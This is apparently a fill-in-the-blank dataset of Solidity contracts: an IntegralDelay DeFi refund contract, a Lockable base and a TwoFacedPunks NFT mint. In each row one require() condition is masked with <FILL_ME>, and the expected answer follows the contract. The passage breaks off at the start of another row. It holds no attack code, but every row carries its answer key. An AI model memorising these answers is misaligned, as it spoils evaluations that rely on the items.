require(refundEth(payable(to), value), 'ID_ETH_REFUND_FAILED');
}
} else if (orderType == Orders.OrderType.Sell) {
Orders.SellOrder memory sellOrder = orders.getSellOrder(orderId);
(, address token0, address token1) = orders.getPairInfo(sellOrder.pairId);
address to = canOwnerRefund ? owner : sellOrder.to;
require(
refundToken(sellOrder.inverse ? token1 : token0, to, sellOrder.shareIn, sellOrder.unwrap),
'ID_REFUND_FAILED'
);
if (shouldRefundEth) {
uint256 value = sellOrder.gasPrice.mul(sellOrder.gasLimit);
require(refundEth(payable(to), value), 'ID_ETH_REFUND_FAILED');
}
} else if (orderType == Orders.OrderType.Buy) {
Orders.BuyOrder memory buyOrder = orders.getBuyOrder(orderId);
(, address token0, address token1) = orders.getPairInfo(buyOrder.pairId);
address to = canOwnerRefund ? owner : buyOrder.to;
require(
refundToken(buyOrder.inverse ? token1 : token0, to, buyOrder.shareInMax, buyOrder.unwrap),
'ID_REFUND_FAILED'
);
if (shouldRefundEth) {
uint256 value = buyOrder.gasPrice.mul(buyOrder.gasLimit);
require(refundEth(payable(to), value), 'ID_ETH_REFUND_FAILED');
}
}
orders.forgetOrder(orderId);
}
function retryRefund(uint256 orderId) public lock {
}
function cancelOrder(uint256 orderId) public lock {
}
receive() external payable {}
}
| refundEth(payable(to),value),'ID_ETH_REFUND_FAILED' | 19,270 | refundEth(payable(to),value) |
'ID_REFUND_FAILED' | // SPDX-License-Identifier: GPL-3.0-or-later
// Deployed with donations via Gitcoin GR9
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import 'IIntegralPair.sol';
import 'IIntegralDelay.sol';
import 'IIntegralOracle.sol';
import 'IWETH.sol';
import 'SafeMath.sol';
import 'Normalizer.sol';
import 'Orders.sol';
import 'TokenShares.sol';
import 'AddLiquidity.sol';
contract IntegralDelay is IIntegralDelay {
using SafeMath for uint256;
using Normalizer for uint256;
using Orders for Orders.Data;
using TokenShares for TokenShares.Data;
Orders.Data internal orders;
TokenShares.Data internal tokenShares;
uint256 public constant ORDER_CANCEL_TIME = 24 hours;
uint256 private constant ORDER_EXECUTED_COST = 3700;
address public override owner;
constructor(address _factory, address _weth) {
}
function getTransferGasCost(address token) public view override returns (uint256 gasCost) {
}
function getDepositOrder(uint256 orderId) public view override returns (Orders.DepositOrder memory order) {
}
function getWithdrawOrder(uint256 orderId) public view override returns (Orders.WithdrawOrder memory order) {
}
function getSellOrder(uint256 orderId) public view override returns (Orders.SellOrder memory order) {
}
function getBuyOrder(uint256 orderId) public view override returns (Orders.BuyOrder memory order) {
}
function getDepositDisabled(address pair) public view override returns (bool) {
}
function getWithdrawDisabled(address pair) public view override returns (bool) {
}
function getBuyDisabled(address pair) public view override returns (bool) {
}
function getSellDisabled(address pair) public view override returns (bool) {
}
function getOrderStatus(uint256 orderId) public view override returns (Orders.OrderStatus) {
}
uint256 private unlocked = 1;
modifier lock() {
}
function factory() public view override returns (address) {
}
function totalShares(address token) public view override returns (uint256) {
}
function weth() public view override returns (address) {
}
function delay() public view override returns (uint256) {
}
function lastProcessedOrderId() public view returns (uint256) {
}
function newestOrderId() public view returns (uint256) {
}
function getOrder(uint256 orderId) public view returns (Orders.OrderType orderType, uint256 validAfterTimestamp) {
}
function isOrderCanceled(uint256 orderId) public view returns (bool) {
}
function maxGasLimit() public view override returns (uint256) {
}
function maxGasPriceImpact() public view override returns (uint256) {
}
function gasPriceInertia() public view override returns (uint256) {
}
function gasPrice() public view override returns (uint256) {
}
function setOrderDisabled(
address pair,
Orders.OrderType orderType,
bool disabled
) public override {
}
function setOwner(address _owner) public override {
}
function setMaxGasLimit(uint256 _maxGasLimit) public override {
}
function setDelay(uint256 _delay) public override {
}
function setGasPriceInertia(uint256 _gasPriceInertia) public override {
}
function setMaxGasPriceImpact(uint256 _maxGasPriceImpact) public override {
}
function setTransferGasCost(address token, uint256 gasCost) public override {
}
function deposit(Orders.DepositParams calldata depositParams)
external
payable
override
lock
returns (uint256 orderId)
{
}
function withdraw(Orders.WithdrawParams calldata withdrawParams)
external
payable
override
lock
returns (uint256 orderId)
{
}
function sell(Orders.SellParams calldata sellParams) external payable override lock returns (uint256 orderId) {
}
function buy(Orders.BuyParams calldata buyParams) external payable override lock returns (uint256 orderId) {
}
function execute(uint256 n) public override lock {
}
function executeDeposit() internal {
}
function executeWithdraw() internal {
}
function executeSell() internal {
}
function executeBuy() internal {
}
function refund(
uint256 gasLimit,
uint256 gasPriceInOrder,
uint256 gasStart,
address to
) private returns (uint256 gasUsed, uint256 leftOver) {
}
function refundEth(address payable to, uint256 value) internal returns (bool success) {
}
function refundToken(
address token,
address to,
uint256 share,
bool unwrap
) private returns (bool) {
}
function refundTokens(
address to,
address token0,
uint256 share0,
address token1,
uint256 share1,
bool unwrap
) private returns (bool) {
}
function _refundTokens(
address to,
address token0,
uint256 share0,
address token1,
uint256 share1,
bool unwrap
) external {
}
function _refundToken(
address token,
address to,
uint256 share,
bool unwrap
) public {
}
function refundLiquidity(
address pair,
address to,
uint256 liquidity
) private returns (bool) {
}
function _refundLiquidity(
address pair,
address to,
uint256 liquidity
) public {
}
function canSwap(
uint256 initialRatio, // setting it to 0 disables swap
uint256 minRatioChangeToSwap,
uint32 pairId
) internal view returns (bool) {
}
function _executeDeposit(Orders.DepositOrder memory depositOrder) public {
}
function _initialDeposit(Orders.DepositOrder memory depositOrder)
private
returns (
address pair,
address token0,
address token1,
uint256 amount0Left,
uint256 amount1Left
)
{
}
function _addLiquidityAndMint(
address pair,
address to,
address token0,
address token1,
uint256 amount0Desired,
uint256 amount1Desired
) private returns (uint256 amount0Left, uint256 amount1Left) {
}
function _refundDeposit(
address to,
address token0,
address token1,
uint256 amount0,
uint256 amount1
) private {
}
function _executeWithdraw(Orders.WithdrawOrder memory withdrawOrder) public {
}
function _executeBuy(Orders.BuyOrder memory buyOrder) public {
}
function _executeSell(Orders.SellOrder memory sellOrder) public {
}
function performRefund(
Orders.OrderType orderType,
uint256 validAfterTimestamp,
uint256 orderId,
bool shouldRefundEth
) internal {
bool canOwnerRefund = validAfterTimestamp.add(365 days) < block.timestamp;
if (orderType == Orders.OrderType.Deposit) {
Orders.DepositOrder memory depositOrder = orders.getDepositOrder(orderId);
(, address token0, address token1) = orders.getPairInfo(depositOrder.pairId);
address to = canOwnerRefund ? owner : depositOrder.to;
require(
refundTokens(to, token0, depositOrder.share0, token1, depositOrder.share1, depositOrder.unwrap),
'ID_REFUND_FAILED'
);
if (shouldRefundEth) {
uint256 value = depositOrder.gasPrice.mul(depositOrder.gasLimit);
require(refundEth(payable(to), value), 'ID_ETH_REFUND_FAILED');
}
} else if (orderType == Orders.OrderType.Withdraw) {
Orders.WithdrawOrder memory withdrawOrder = orders.getWithdrawOrder(orderId);
(address pair, , ) = orders.getPairInfo(withdrawOrder.pairId);
address to = canOwnerRefund ? owner : withdrawOrder.to;
require(<FILL_ME>)
if (shouldRefundEth) {
uint256 value = withdrawOrder.gasPrice.mul(withdrawOrder.gasLimit);
require(refundEth(payable(to), value), 'ID_ETH_REFUND_FAILED');
}
} else if (orderType == Orders.OrderType.Sell) {
Orders.SellOrder memory sellOrder = orders.getSellOrder(orderId);
(, address token0, address token1) = orders.getPairInfo(sellOrder.pairId);
address to = canOwnerRefund ? owner : sellOrder.to;
require(
refundToken(sellOrder.inverse ? token1 : token0, to, sellOrder.shareIn, sellOrder.unwrap),
'ID_REFUND_FAILED'
);
if (shouldRefundEth) {
uint256 value = sellOrder.gasPrice.mul(sellOrder.gasLimit);
require(refundEth(payable(to), value), 'ID_ETH_REFUND_FAILED');
}
} else if (orderType == Orders.OrderType.Buy) {
Orders.BuyOrder memory buyOrder = orders.getBuyOrder(orderId);
(, address token0, address token1) = orders.getPairInfo(buyOrder.pairId);
address to = canOwnerRefund ? owner : buyOrder.to;
require(
refundToken(buyOrder.inverse ? token1 : token0, to, buyOrder.shareInMax, buyOrder.unwrap),
'ID_REFUND_FAILED'
);
if (shouldRefundEth) {
uint256 value = buyOrder.gasPrice.mul(buyOrder.gasLimit);
require(refundEth(payable(to), value), 'ID_ETH_REFUND_FAILED');
}
}
orders.forgetOrder(orderId);
}
function retryRefund(uint256 orderId) public lock {
}
function cancelOrder(uint256 orderId) public lock {
}
receive() external payable {}
}
| refundLiquidity(pair,to,withdrawOrder.liquidity),'ID_REFUND_FAILED' | 19,270 | refundLiquidity(pair,to,withdrawOrder.liquidity) |
'ID_REFUND_FAILED' | // SPDX-License-Identifier: GPL-3.0-or-later
// Deployed with donations via Gitcoin GR9
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import 'IIntegralPair.sol';
import 'IIntegralDelay.sol';
import 'IIntegralOracle.sol';
import 'IWETH.sol';
import 'SafeMath.sol';
import 'Normalizer.sol';
import 'Orders.sol';
import 'TokenShares.sol';
import 'AddLiquidity.sol';
contract IntegralDelay is IIntegralDelay {
using SafeMath for uint256;
using Normalizer for uint256;
using Orders for Orders.Data;
using TokenShares for TokenShares.Data;
Orders.Data internal orders;
TokenShares.Data internal tokenShares;
uint256 public constant ORDER_CANCEL_TIME = 24 hours;
uint256 private constant ORDER_EXECUTED_COST = 3700;
address public override owner;
constructor(address _factory, address _weth) {
}
function getTransferGasCost(address token) public view override returns (uint256 gasCost) {
}
function getDepositOrder(uint256 orderId) public view override returns (Orders.DepositOrder memory order) {
}
function getWithdrawOrder(uint256 orderId) public view override returns (Orders.WithdrawOrder memory order) {
}
function getSellOrder(uint256 orderId) public view override returns (Orders.SellOrder memory order) {
}
function getBuyOrder(uint256 orderId) public view override returns (Orders.BuyOrder memory order) {
}
function getDepositDisabled(address pair) public view override returns (bool) {
}
function getWithdrawDisabled(address pair) public view override returns (bool) {
}
function getBuyDisabled(address pair) public view override returns (bool) {
}
function getSellDisabled(address pair) public view override returns (bool) {
}
function getOrderStatus(uint256 orderId) public view override returns (Orders.OrderStatus) {
}
uint256 private unlocked = 1;
modifier lock() {
}
function factory() public view override returns (address) {
}
function totalShares(address token) public view override returns (uint256) {
}
function weth() public view override returns (address) {
}
function delay() public view override returns (uint256) {
}
function lastProcessedOrderId() public view returns (uint256) {
}
function newestOrderId() public view returns (uint256) {
}
function getOrder(uint256 orderId) public view returns (Orders.OrderType orderType, uint256 validAfterTimestamp) {
}
function isOrderCanceled(uint256 orderId) public view returns (bool) {
}
function maxGasLimit() public view override returns (uint256) {
}
function maxGasPriceImpact() public view override returns (uint256) {
}
function gasPriceInertia() public view override returns (uint256) {
}
function gasPrice() public view override returns (uint256) {
}
function setOrderDisabled(
address pair,
Orders.OrderType orderType,
bool disabled
) public override {
}
function setOwner(address _owner) public override {
}
function setMaxGasLimit(uint256 _maxGasLimit) public override {
}
function setDelay(uint256 _delay) public override {
}
function setGasPriceInertia(uint256 _gasPriceInertia) public override {
}
function setMaxGasPriceImpact(uint256 _maxGasPriceImpact) public override {
}
function setTransferGasCost(address token, uint256 gasCost) public override {
}
function deposit(Orders.DepositParams calldata depositParams)
external
payable
override
lock
returns (uint256 orderId)
{
}
function withdraw(Orders.WithdrawParams calldata withdrawParams)
external
payable
override
lock
returns (uint256 orderId)
{
}
function sell(Orders.SellParams calldata sellParams) external payable override lock returns (uint256 orderId) {
}
function buy(Orders.BuyParams calldata buyParams) external payable override lock returns (uint256 orderId) {
}
function execute(uint256 n) public override lock {
}
function executeDeposit() internal {
}
function executeWithdraw() internal {
}
function executeSell() internal {
}
function executeBuy() internal {
}
function refund(
uint256 gasLimit,
uint256 gasPriceInOrder,
uint256 gasStart,
address to
) private returns (uint256 gasUsed, uint256 leftOver) {
}
function refundEth(address payable to, uint256 value) internal returns (bool success) {
}
function refundToken(
address token,
address to,
uint256 share,
bool unwrap
) private returns (bool) {
}
function refundTokens(
address to,
address token0,
uint256 share0,
address token1,
uint256 share1,
bool unwrap
) private returns (bool) {
}
function _refundTokens(
address to,
address token0,
uint256 share0,
address token1,
uint256 share1,
bool unwrap
) external {
}
function _refundToken(
address token,
address to,
uint256 share,
bool unwrap
) public {
}
function refundLiquidity(
address pair,
address to,
uint256 liquidity
) private returns (bool) {
}
function _refundLiquidity(
address pair,
address to,
uint256 liquidity
) public {
}
function canSwap(
uint256 initialRatio, // setting it to 0 disables swap
uint256 minRatioChangeToSwap,
uint32 pairId
) internal view returns (bool) {
}
function _executeDeposit(Orders.DepositOrder memory depositOrder) public {
}
function _initialDeposit(Orders.DepositOrder memory depositOrder)
private
returns (
address pair,
address token0,
address token1,
uint256 amount0Left,
uint256 amount1Left
)
{
}
function _addLiquidityAndMint(
address pair,
address to,
address token0,
address token1,
uint256 amount0Desired,
uint256 amount1Desired
) private returns (uint256 amount0Left, uint256 amount1Left) {
}
function _refundDeposit(
address to,
address token0,
address token1,
uint256 amount0,
uint256 amount1
) private {
}
function _executeWithdraw(Orders.WithdrawOrder memory withdrawOrder) public {
}
function _executeBuy(Orders.BuyOrder memory buyOrder) public {
}
function _executeSell(Orders.SellOrder memory sellOrder) public {
}
function performRefund(
Orders.OrderType orderType,
uint256 validAfterTimestamp,
uint256 orderId,
bool shouldRefundEth
) internal {
bool canOwnerRefund = validAfterTimestamp.add(365 days) < block.timestamp;
if (orderType == Orders.OrderType.Deposit) {
Orders.DepositOrder memory depositOrder = orders.getDepositOrder(orderId);
(, address token0, address token1) = orders.getPairInfo(depositOrder.pairId);
address to = canOwnerRefund ? owner : depositOrder.to;
require(
refundTokens(to, token0, depositOrder.share0, token1, depositOrder.share1, depositOrder.unwrap),
'ID_REFUND_FAILED'
);
if (shouldRefundEth) {
uint256 value = depositOrder.gasPrice.mul(depositOrder.gasLimit);
require(refundEth(payable(to), value), 'ID_ETH_REFUND_FAILED');
}
} else if (orderType == Orders.OrderType.Withdraw) {
Orders.WithdrawOrder memory withdrawOrder = orders.getWithdrawOrder(orderId);
(address pair, , ) = orders.getPairInfo(withdrawOrder.pairId);
address to = canOwnerRefund ? owner : withdrawOrder.to;
require(refundLiquidity(pair, to, withdrawOrder.liquidity), 'ID_REFUND_FAILED');
if (shouldRefundEth) {
uint256 value = withdrawOrder.gasPrice.mul(withdrawOrder.gasLimit);
require(refundEth(payable(to), value), 'ID_ETH_REFUND_FAILED');
}
} else if (orderType == Orders.OrderType.Sell) {
Orders.SellOrder memory sellOrder = orders.getSellOrder(orderId);
(, address token0, address token1) = orders.getPairInfo(sellOrder.pairId);
address to = canOwnerRefund ? owner : sellOrder.to;
require(<FILL_ME>)
if (shouldRefundEth) {
uint256 value = sellOrder.gasPrice.mul(sellOrder.gasLimit);
require(refundEth(payable(to), value), 'ID_ETH_REFUND_FAILED');
}
} else if (orderType == Orders.OrderType.Buy) {
Orders.BuyOrder memory buyOrder = orders.getBuyOrder(orderId);
(, address token0, address token1) = orders.getPairInfo(buyOrder.pairId);
address to = canOwnerRefund ? owner : buyOrder.to;
require(
refundToken(buyOrder.inverse ? token1 : token0, to, buyOrder.shareInMax, buyOrder.unwrap),
'ID_REFUND_FAILED'
);
if (shouldRefundEth) {
uint256 value = buyOrder.gasPrice.mul(buyOrder.gasLimit);
require(refundEth(payable(to), value), 'ID_ETH_REFUND_FAILED');
}
}
orders.forgetOrder(orderId);
}
function retryRefund(uint256 orderId) public lock {
}
function cancelOrder(uint256 orderId) public lock {
}
receive() external payable {}
}
| refundToken(sellOrder.inverse?token1:token0,to,sellOrder.shareIn,sellOrder.unwrap),'ID_REFUND_FAILED' | 19,270 | refundToken(sellOrder.inverse?token1:token0,to,sellOrder.shareIn,sellOrder.unwrap) |
'ID_REFUND_FAILED' | // SPDX-License-Identifier: GPL-3.0-or-later
// Deployed with donations via Gitcoin GR9
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import 'IIntegralPair.sol';
import 'IIntegralDelay.sol';
import 'IIntegralOracle.sol';
import 'IWETH.sol';
import 'SafeMath.sol';
import 'Normalizer.sol';
import 'Orders.sol';
import 'TokenShares.sol';
import 'AddLiquidity.sol';
contract IntegralDelay is IIntegralDelay {
using SafeMath for uint256;
using Normalizer for uint256;
using Orders for Orders.Data;
using TokenShares for TokenShares.Data;
Orders.Data internal orders;
TokenShares.Data internal tokenShares;
uint256 public constant ORDER_CANCEL_TIME = 24 hours;
uint256 private constant ORDER_EXECUTED_COST = 3700;
address public override owner;
constructor(address _factory, address _weth) {
}
function getTransferGasCost(address token) public view override returns (uint256 gasCost) {
}
function getDepositOrder(uint256 orderId) public view override returns (Orders.DepositOrder memory order) {
}
function getWithdrawOrder(uint256 orderId) public view override returns (Orders.WithdrawOrder memory order) {
}
function getSellOrder(uint256 orderId) public view override returns (Orders.SellOrder memory order) {
}
function getBuyOrder(uint256 orderId) public view override returns (Orders.BuyOrder memory order) {
}
function getDepositDisabled(address pair) public view override returns (bool) {
}
function getWithdrawDisabled(address pair) public view override returns (bool) {
}
function getBuyDisabled(address pair) public view override returns (bool) {
}
function getSellDisabled(address pair) public view override returns (bool) {
}
function getOrderStatus(uint256 orderId) public view override returns (Orders.OrderStatus) {
}
uint256 private unlocked = 1;
modifier lock() {
}
function factory() public view override returns (address) {
}
function totalShares(address token) public view override returns (uint256) {
}
function weth() public view override returns (address) {
}
function delay() public view override returns (uint256) {
}
function lastProcessedOrderId() public view returns (uint256) {
}
function newestOrderId() public view returns (uint256) {
}
function getOrder(uint256 orderId) public view returns (Orders.OrderType orderType, uint256 validAfterTimestamp) {
}
function isOrderCanceled(uint256 orderId) public view returns (bool) {
}
function maxGasLimit() public view override returns (uint256) {
}
function maxGasPriceImpact() public view override returns (uint256) {
}
function gasPriceInertia() public view override returns (uint256) {
}
function gasPrice() public view override returns (uint256) {
}
function setOrderDisabled(
address pair,
Orders.OrderType orderType,
bool disabled
) public override {
}
function setOwner(address _owner) public override {
}
function setMaxGasLimit(uint256 _maxGasLimit) public override {
}
function setDelay(uint256 _delay) public override {
}
function setGasPriceInertia(uint256 _gasPriceInertia) public override {
}
function setMaxGasPriceImpact(uint256 _maxGasPriceImpact) public override {
}
function setTransferGasCost(address token, uint256 gasCost) public override {
}
function deposit(Orders.DepositParams calldata depositParams)
external
payable
override
lock
returns (uint256 orderId)
{
}
function withdraw(Orders.WithdrawParams calldata withdrawParams)
external
payable
override
lock
returns (uint256 orderId)
{
}
function sell(Orders.SellParams calldata sellParams) external payable override lock returns (uint256 orderId) {
}
function buy(Orders.BuyParams calldata buyParams) external payable override lock returns (uint256 orderId) {
}
function execute(uint256 n) public override lock {
}
function executeDeposit() internal {
}
function executeWithdraw() internal {
}
function executeSell() internal {
}
function executeBuy() internal {
}
function refund(
uint256 gasLimit,
uint256 gasPriceInOrder,
uint256 gasStart,
address to
) private returns (uint256 gasUsed, uint256 leftOver) {
}
function refundEth(address payable to, uint256 value) internal returns (bool success) {
}
function refundToken(
address token,
address to,
uint256 share,
bool unwrap
) private returns (bool) {
}
function refundTokens(
address to,
address token0,
uint256 share0,
address token1,
uint256 share1,
bool unwrap
) private returns (bool) {
}
function _refundTokens(
address to,
address token0,
uint256 share0,
address token1,
uint256 share1,
bool unwrap
) external {
}
function _refundToken(
address token,
address to,
uint256 share,
bool unwrap
) public {
}
function refundLiquidity(
address pair,
address to,
uint256 liquidity
) private returns (bool) {
}
function _refundLiquidity(
address pair,
address to,
uint256 liquidity
) public {
}
function canSwap(
uint256 initialRatio, // setting it to 0 disables swap
uint256 minRatioChangeToSwap,
uint32 pairId
) internal view returns (bool) {
}
function _executeDeposit(Orders.DepositOrder memory depositOrder) public {
}
function _initialDeposit(Orders.DepositOrder memory depositOrder)
private
returns (
address pair,
address token0,
address token1,
uint256 amount0Left,
uint256 amount1Left
)
{
}
function _addLiquidityAndMint(
address pair,
address to,
address token0,
address token1,
uint256 amount0Desired,
uint256 amount1Desired
) private returns (uint256 amount0Left, uint256 amount1Left) {
}
function _refundDeposit(
address to,
address token0,
address token1,
uint256 amount0,
uint256 amount1
) private {
}
function _executeWithdraw(Orders.WithdrawOrder memory withdrawOrder) public {
}
function _executeBuy(Orders.BuyOrder memory buyOrder) public {
}
function _executeSell(Orders.SellOrder memory sellOrder) public {
}
function performRefund(
Orders.OrderType orderType,
uint256 validAfterTimestamp,
uint256 orderId,
bool shouldRefundEth
) internal {
bool canOwnerRefund = validAfterTimestamp.add(365 days) < block.timestamp;
if (orderType == Orders.OrderType.Deposit) {
Orders.DepositOrder memory depositOrder = orders.getDepositOrder(orderId);
(, address token0, address token1) = orders.getPairInfo(depositOrder.pairId);
address to = canOwnerRefund ? owner : depositOrder.to;
require(
refundTokens(to, token0, depositOrder.share0, token1, depositOrder.share1, depositOrder.unwrap),
'ID_REFUND_FAILED'
);
if (shouldRefundEth) {
uint256 value = depositOrder.gasPrice.mul(depositOrder.gasLimit);
require(refundEth(payable(to), value), 'ID_ETH_REFUND_FAILED');
}
} else if (orderType == Orders.OrderType.Withdraw) {
Orders.WithdrawOrder memory withdrawOrder = orders.getWithdrawOrder(orderId);
(address pair, , ) = orders.getPairInfo(withdrawOrder.pairId);
address to = canOwnerRefund ? owner : withdrawOrder.to;
require(refundLiquidity(pair, to, withdrawOrder.liquidity), 'ID_REFUND_FAILED');
if (shouldRefundEth) {
uint256 value = withdrawOrder.gasPrice.mul(withdrawOrder.gasLimit);
require(refundEth(payable(to), value), 'ID_ETH_REFUND_FAILED');
}
} else if (orderType == Orders.OrderType.Sell) {
Orders.SellOrder memory sellOrder = orders.getSellOrder(orderId);
(, address token0, address token1) = orders.getPairInfo(sellOrder.pairId);
address to = canOwnerRefund ? owner : sellOrder.to;
require(
refundToken(sellOrder.inverse ? token1 : token0, to, sellOrder.shareIn, sellOrder.unwrap),
'ID_REFUND_FAILED'
);
if (shouldRefundEth) {
uint256 value = sellOrder.gasPrice.mul(sellOrder.gasLimit);
require(refundEth(payable(to), value), 'ID_ETH_REFUND_FAILED');
}
} else if (orderType == Orders.OrderType.Buy) {
Orders.BuyOrder memory buyOrder = orders.getBuyOrder(orderId);
(, address token0, address token1) = orders.getPairInfo(buyOrder.pairId);
address to = canOwnerRefund ? owner : buyOrder.to;
require(<FILL_ME>)
if (shouldRefundEth) {
uint256 value = buyOrder.gasPrice.mul(buyOrder.gasLimit);
require(refundEth(payable(to), value), 'ID_ETH_REFUND_FAILED');
}
}
orders.forgetOrder(orderId);
}
function retryRefund(uint256 orderId) public lock {
}
function cancelOrder(uint256 orderId) public lock {
}
receive() external payable {}
}
| refundToken(buyOrder.inverse?token1:token0,to,buyOrder.shareInMax,buyOrder.unwrap),'ID_REFUND_FAILED' | 19,270 | refundToken(buyOrder.inverse?token1:token0,to,buyOrder.shareInMax,buyOrder.unwrap) |
'ID_ORDER_NOT_EXCEEDED' | // SPDX-License-Identifier: GPL-3.0-or-later
// Deployed with donations via Gitcoin GR9
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import 'IIntegralPair.sol';
import 'IIntegralDelay.sol';
import 'IIntegralOracle.sol';
import 'IWETH.sol';
import 'SafeMath.sol';
import 'Normalizer.sol';
import 'Orders.sol';
import 'TokenShares.sol';
import 'AddLiquidity.sol';
contract IntegralDelay is IIntegralDelay {
using SafeMath for uint256;
using Normalizer for uint256;
using Orders for Orders.Data;
using TokenShares for TokenShares.Data;
Orders.Data internal orders;
TokenShares.Data internal tokenShares;
uint256 public constant ORDER_CANCEL_TIME = 24 hours;
uint256 private constant ORDER_EXECUTED_COST = 3700;
address public override owner;
constructor(address _factory, address _weth) {
}
function getTransferGasCost(address token) public view override returns (uint256 gasCost) {
}
function getDepositOrder(uint256 orderId) public view override returns (Orders.DepositOrder memory order) {
}
function getWithdrawOrder(uint256 orderId) public view override returns (Orders.WithdrawOrder memory order) {
}
function getSellOrder(uint256 orderId) public view override returns (Orders.SellOrder memory order) {
}
function getBuyOrder(uint256 orderId) public view override returns (Orders.BuyOrder memory order) {
}
function getDepositDisabled(address pair) public view override returns (bool) {
}
function getWithdrawDisabled(address pair) public view override returns (bool) {
}
function getBuyDisabled(address pair) public view override returns (bool) {
}
function getSellDisabled(address pair) public view override returns (bool) {
}
function getOrderStatus(uint256 orderId) public view override returns (Orders.OrderStatus) {
}
uint256 private unlocked = 1;
modifier lock() {
}
function factory() public view override returns (address) {
}
function totalShares(address token) public view override returns (uint256) {
}
function weth() public view override returns (address) {
}
function delay() public view override returns (uint256) {
}
function lastProcessedOrderId() public view returns (uint256) {
}
function newestOrderId() public view returns (uint256) {
}
function getOrder(uint256 orderId) public view returns (Orders.OrderType orderType, uint256 validAfterTimestamp) {
}
function isOrderCanceled(uint256 orderId) public view returns (bool) {
}
function maxGasLimit() public view override returns (uint256) {
}
function maxGasPriceImpact() public view override returns (uint256) {
}
function gasPriceInertia() public view override returns (uint256) {
}
function gasPrice() public view override returns (uint256) {
}
function setOrderDisabled(
address pair,
Orders.OrderType orderType,
bool disabled
) public override {
}
function setOwner(address _owner) public override {
}
function setMaxGasLimit(uint256 _maxGasLimit) public override {
}
function setDelay(uint256 _delay) public override {
}
function setGasPriceInertia(uint256 _gasPriceInertia) public override {
}
function setMaxGasPriceImpact(uint256 _maxGasPriceImpact) public override {
}
function setTransferGasCost(address token, uint256 gasCost) public override {
}
function deposit(Orders.DepositParams calldata depositParams)
external
payable
override
lock
returns (uint256 orderId)
{
}
function withdraw(Orders.WithdrawParams calldata withdrawParams)
external
payable
override
lock
returns (uint256 orderId)
{
}
function sell(Orders.SellParams calldata sellParams) external payable override lock returns (uint256 orderId) {
}
function buy(Orders.BuyParams calldata buyParams) external payable override lock returns (uint256 orderId) {
}
function execute(uint256 n) public override lock {
}
function executeDeposit() internal {
}
function executeWithdraw() internal {
}
function executeSell() internal {
}
function executeBuy() internal {
}
function refund(
uint256 gasLimit,
uint256 gasPriceInOrder,
uint256 gasStart,
address to
) private returns (uint256 gasUsed, uint256 leftOver) {
}
function refundEth(address payable to, uint256 value) internal returns (bool success) {
}
function refundToken(
address token,
address to,
uint256 share,
bool unwrap
) private returns (bool) {
}
function refundTokens(
address to,
address token0,
uint256 share0,
address token1,
uint256 share1,
bool unwrap
) private returns (bool) {
}
function _refundTokens(
address to,
address token0,
uint256 share0,
address token1,
uint256 share1,
bool unwrap
) external {
}
function _refundToken(
address token,
address to,
uint256 share,
bool unwrap
) public {
}
function refundLiquidity(
address pair,
address to,
uint256 liquidity
) private returns (bool) {
}
function _refundLiquidity(
address pair,
address to,
uint256 liquidity
) public {
}
function canSwap(
uint256 initialRatio, // setting it to 0 disables swap
uint256 minRatioChangeToSwap,
uint32 pairId
) internal view returns (bool) {
}
function _executeDeposit(Orders.DepositOrder memory depositOrder) public {
}
function _initialDeposit(Orders.DepositOrder memory depositOrder)
private
returns (
address pair,
address token0,
address token1,
uint256 amount0Left,
uint256 amount1Left
)
{
}
function _addLiquidityAndMint(
address pair,
address to,
address token0,
address token1,
uint256 amount0Desired,
uint256 amount1Desired
) private returns (uint256 amount0Left, uint256 amount1Left) {
}
function _refundDeposit(
address to,
address token0,
address token1,
uint256 amount0,
uint256 amount1
) private {
}
function _executeWithdraw(Orders.WithdrawOrder memory withdrawOrder) public {
}
function _executeBuy(Orders.BuyOrder memory buyOrder) public {
}
function _executeSell(Orders.SellOrder memory sellOrder) public {
}
function performRefund(
Orders.OrderType orderType,
uint256 validAfterTimestamp,
uint256 orderId,
bool shouldRefundEth
) internal {
}
function retryRefund(uint256 orderId) public lock {
}
function cancelOrder(uint256 orderId) public lock {
(Orders.OrderType orderType, uint256 validAfterTimestamp) = orders.getOrder(orderId);
require(<FILL_ME>)
performRefund(orderType, validAfterTimestamp, orderId, true);
orders.canceled[orderId] = true;
}
receive() external payable {}
}
| validAfterTimestamp.sub(delay()).add(ORDER_CANCEL_TIME)<block.timestamp,'ID_ORDER_NOT_EXCEEDED' | 19,270 | validAfterTimestamp.sub(delay()).add(ORDER_CANCEL_TIME)<block.timestamp |
"Lockable: already locked" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.1;
abstract contract Lockable {
bool private _locked;
constructor() {
}
modifier whenNotLocked() {
require(<FILL_ME>)
_;
}
modifier whenLocked() {
}
function _lock() internal whenNotLocked {
}
function _isLocked() internal view returns (bool) {
}
}
| !_locked,"Lockable: already locked" | 19,275 | !_locked |
"Exceeds maximum supply of TwoFacedPunks" | pragma solidity ^0.8.0;
/// @author Hammad Ghazi
contract TwoFacedPunks is ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenId;
uint256 public constant MAX_TWOFACED = 2000;
uint256 public price = 50000000000000000; //0.05 Ether
string baseTokenURI;
bool public saleOpen = false;
event TwoFacedPunksMinted(uint256 totalMinted);
constructor(string memory baseURI) ERC721("Two-Faced Punks", "TwoFaced") {
}
//Get token Ids of all tokens owned by _owner
function walletOfOwner(address _owner)
external
view
returns (uint256[] memory)
{
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function setPrice(uint256 _newPrice) external onlyOwner {
}
//Close sale if open, open sale if closed
function flipSaleState() external onlyOwner {
}
function withdrawAll() external onlyOwner {
}
//mint TwoFacedPunks
function mintTwoFacedPunks(address _to, uint256 _count) external payable {
require(<FILL_ME>)
require(
_count > 0,
"Minimum 1 TwoFacedPunks has to be minted per transaction"
);
if (msg.sender != owner()) {
require(saleOpen, "Sale is not open yet");
require(
_count <= 21,
"Maximum 21 TwoFacedPunks can be minted per transaction"
);
require(
msg.value >= price * _count,
"Ether sent with this transaction is not correct"
);
}
for (uint256 i = 0; i < _count; i++) {
_mint(_to);
}
}
function _mint(address _to) private {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| totalSupply()+_count<=MAX_TWOFACED,"Exceeds maximum supply of TwoFacedPunks" | 19,279 | totalSupply()+_count<=MAX_TWOFACED |
'TOKEN' | // SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./Farm01.sol";
/*
